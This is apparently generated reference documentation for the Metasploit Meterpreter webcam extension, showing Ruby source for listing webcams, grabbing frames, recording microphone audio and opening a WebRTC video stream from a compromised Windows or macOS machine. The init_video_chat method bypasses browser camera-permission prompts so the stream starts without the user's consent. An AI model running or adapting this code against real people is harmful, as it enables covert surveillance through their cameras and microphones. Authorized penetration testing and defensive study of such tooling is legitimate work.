class Rex::Post::Meterpreter::Extensions::Stdapi::Webcam::Webcam

This meterpreter extension can list and capture from webcams and/or microphone

Attributes

client[RW]

Public Class Methods

new(client) click to toggle source
# File lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb, line 22
def initialize(client)
  @client = client
end

Public Instance Methods

record_mic(duration) click to toggle source

Record from default audio source for duration seconds; returns a low-quality wav file

# File lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb, line 81
def record_mic(duration)
  request = Packet.create_request('webcam_audio_record')
  request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration)
  response = client.send_request(request)
  response.get_tlv( TLV_TYPE_AUDIO_DATA ).value
end
session() click to toggle source
# File lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb, line 26
def session
  @client
end
webcam_chat(server) click to toggle source

Starts a webcam session with a remote user via WebRTC

@param server [String] A server to use for the channel. @return void

# File lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb, line 65
def webcam_chat(server)
  offerer_id = Rex::Text.rand_text_alphanumeric(10)
  channel    = Rex::Text.rand_text_alphanumeric(20)

  remote_browser_path = get_webrtc_browser_path

  if remote_browser_path.blank?
    raise RuntimeError, "Unable to find a suitable browser on the target machine"
  end

  ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id)
  connect_video_chat(server, channel, offerer_id)
end
webcam_get_frame(quality) click to toggle source
# File lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb, line 47
def webcam_get_frame(quality)
  request = Packet.create_request('webcam_get_frame')
  request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality)
  response = client.send_request(request)
  response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value
end
webcam_list() click to toggle source
# File lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb, line 30
def webcam_list
  response = client.send_request(Packet.create_request('webcam_list'))
  names = []
  response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv|
    names << tlv.value
  }
  names
end
webcam_start(cam) click to toggle source

Starts recording video from video source of index cam

# File lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb, line 40
def webcam_start(cam)
  request = Packet.create_request('webcam_start')
  request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam)
  client.send_request(request)
  true
end
webcam_stop() click to toggle source
# File lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb, line 54
def webcam_stop
  client.send_request( Packet.create_request( 'webcam_stop' )  )
  true
end

Private Instance Methods

get_webrtc_browser_path() click to toggle source

Returns a browser path that supports WebRTC

@return [String]

# File lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb, line 99
def get_webrtc_browser_path
  found_browser_path = ''

  case client.platform
  when /win/
    paths = [
      "Program Files\\Google\\Chrome\\Application\\chrome.exe",
      "Program Files\\Mozilla Firefox\\firefox.exe"
    ]

    drive = session.sys.config.getenv("SYSTEMDRIVE")
    paths = paths.map { |p| "#{drive}\\#{p}" }

    # Old chrome path
    user_profile = client.sys.config.getenv("USERPROFILE")
    paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe"

    paths.each do |browser_path|
      if file?(browser_path)
        found_browser_path = browser_path
        break
      end
    end

  when /osx|bsd/
    [
      '/Applications/Google Chrome.app',
      '/Applications/Firefox.app',
    ].each do |browser_path|
      if file?(browser_path)
        found_browser_path = browser_path
        break
      end
    end
  when /linux|unix/
    # Need to add support for Linux in the future.
    # But you see, the Linux meterpreter is so broken there is no point
    # to do it now. You can't test anyway.
  end

  found_browser_path
end
init_video_chat(remote_browser_path, server, channel, offerer_id) click to toggle source

Creates a video chat session as an offerer… involuntarily :-p Windows targets only.

@param remote_browser_path [String] A browser path that supports WebRTC on the target machine @param offerer_id [String] A ID that the answerer can look for and join

# File lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb, line 150
def init_video_chat(remote_browser_path, server, channel, offerer_id)
  interface = load_interface('offerer.html')
  api       = load_api_code

  interface = interface.gsub(/\=SERVER\=/, server)
  interface = interface.gsub(/\=CHANNEL\=/, channel)
  interface = interface.gsub(/\=OFFERERID\=/, offerer_id)

  tmp_dir = session.sys.config.getenv("TEMP")

  begin
    write_file("#{tmp_dir}\\interface.html", interface)
    write_file("#{tmp_dir}\\api.js", api)
  rescue ::Exception => e
    elog("webcam_chat failed. #{e.class} #{e.to_s}")
    raise RuntimeError, "Unable to initialize the interface on the target machine"
  end

  #
  # Automatically allow the webcam to run on the target machine
  #
  args = ''
  if remote_browser_path =~ /Chrome/
    args = "--allow-file-access-from-files --use-fake-ui-for-media-stream"
  elsif remote_browser_path =~ /Firefox/
    profile_name = Rex::Text.rand_text_alpha(8)
    o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}")
    profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip
    setting = %Q|user_pref("media.navigator.permission.disabled", true);|
    begin
      write_file(profile_path, setting)
    rescue ::Exception => e
      elog("webcam_chat failed: #{e.class} #{e.to_s}")
      raise RuntimeError, "Unable to write the necessary setting for Firefox."
    end
    args = "-p #{profile_name}"
  end

  exec_opts = {'Hidden' => false, 'Channelized' => false}

  begin
    session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts)
  rescue ::Exception => e
    elog("webcam_chat failed. #{e.class} #{e.to_s}")
    raise RuntimeError, "Unable to start the remote browser: #{e.message}"
  end
end